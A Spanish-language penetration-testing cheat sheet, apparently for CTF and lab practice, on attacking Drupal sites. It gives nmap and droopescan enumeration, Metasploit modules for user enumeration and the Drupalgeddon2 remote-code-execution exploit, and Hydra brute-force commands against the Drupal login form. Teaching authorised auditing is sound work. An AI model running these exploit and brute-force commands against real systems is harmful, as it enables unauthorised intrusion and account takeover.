📂Drupal - CMS

🕵️ Identificación de la versión de Drupal y sus componentes.

nmap -sV --script http-drupal-enum <url> # Detección de versión de Drupal y módulos.
nmap -sV --script "http-drupal* and not http-drupal-brute" <url> # Escaneo de vulnerabilidades en Drupal.
nmap -sV --script http-drupal-users <url> # Detección de usuarios de Drupal.
nmap --script=http-drupal-enum --script-args http-drupal-enum.root=/ -p 80,443 <URL> # Escaneo completo para confirmar si se está utilizando Drupal.
nmap --script=http-vuln* -p 80,443 <url> # Detectar vulnerabilidades específicas en Drupal y sus módulos.

Antes de realizar cualquier escaneo del CMS Drupal, es recomendable revisar ciertos directorios específicos.

✔️ Check List Drupal:

Si el servicio web no carga correctamente o parece inaccesible, podríamos estar ante un caso de virtual hosting. En ese caso, debemos agregar el dominio correspondiente en nuestro /etc/hosts, añadiendo la IP de la web y el dominio al que queremos apuntar, por ejemplo: 10.0.0.10 drupal.htb.

🛠️ Escaneo básico Drupal con Metasploit.

use auxiliary/scanner/http/drupal_version # Cargar módulo que vamos a utilizar.
set RHOSTS <url>
set RPORT 80
set TARGETURI /
run

🕵️ Enumerar Usuarios de Drupal

use auxiliary/scanner/http/drupal_users_enum
set RHOSTS <url>
set RPORT 80
set TARGETURI /
run

🔑 Ataque de fuerza bruta con Metasploit:

set RHOSTS <url>
set USERNAME <nombre_usuario> # Aquí le indicamos el nombre de usuario contra el que queramos atentar.
set PASS_FILE /usr/share/wordlists/rockyou.txt # Seleccionamos el diccionario a utilizar.
run

💡 ¡IMPORTANTE! :

El exploit Drupalgeddon2 (CVE-2018-7600) afecta a las siguientes versiones de Drupal:

  • Drupal 6.x (todas las versiones)

  • Drupal 7.x (todas las versiones antes de 7.58)

  • Drupal 8.x (todas las versiones antes de 8.5.1).

🛠️ Ejecución del exploit Drupalgeddon2 con Metasploit.

Drupalgeddon2 es una vulnerabilidad crítica (CVE-2018-7600) que permite la ejecución remota de código en versiones vulnerables de Drupal.

use exploit/unix/webapp/drupal_drupalgeddon2 # Seleccionamos el exploit a utilizar.
set RHOSTS <url> # Le indicamos la url del objetivo.
set RPORT 80
set TARGETURI /
run # Iniciamos el ataque.

Este exploit aprovecha una ejecución arbitraria de código a través de la manipulación de formularios en Drupal.

🛠️ Otras herramientas para auditar Drupal.

🔹 Droopescan

Droopescan es una herramienta especializada en la enumeración y auditoría de sitios web basados en Drupal. Permite detectar vulnerabilidades, enumerar usuarios, módulos y temas instalados.

droopescan scan drupal -u <url_drupal> # Análisis básico del sitio Drupal.
droopescan scan drupal -u <url_drupal> -e plugins, themes # Enumerar módulos y temas instalados.

💡 Una buena práctica al auditar Drupal es revisar el código fuente de la página web. Ahí podremos encontrar rutas como /sites/default/files/, que pueden revelar archivos accesibles o permitir directory listing, así como información sobre temas y módulos utilizados.

Si encontramos posibles nombres de usuario durante la auditoría, debemos guardarlos en un archivo .txt para consultarlos o utilizarlos como wordlist de usuarios.

🔑 Fuerza bruta al panel Login de Drupal.

Fuerza bruta con Hydra

hydra -l <username> -P /usr/share/wordlists/rockyou.txt <url> http-post-form "/user/login:name=^USER^&pass=^PASS^&form_id=user_login:F=Incorrect username or password."

Ataque a múltiples usuarios:

hydra -L <lista_usuarios.txt> -P <diccionario.txt> <url> http-post-form "/user/login:name=^USER^&pass=^PASS^&form_id=user_login:F=Incorrect username or password."

🏁 Con esta guía hemos cubierto los pasos necesarios para detectar la versión de Drupal, encontrar módulos, temas, directorios sensibles, buscar paneles de login y realizar fuerza bruta contra estos paneles para intentar obtener acceso.

💡 Más adelante, en la parte de Fuzzing Web y descubrimiento de directorios y subdominios, veremos cómo encontrar posibles rutas sensibles que nos faciliten la obtención de información.

Last updated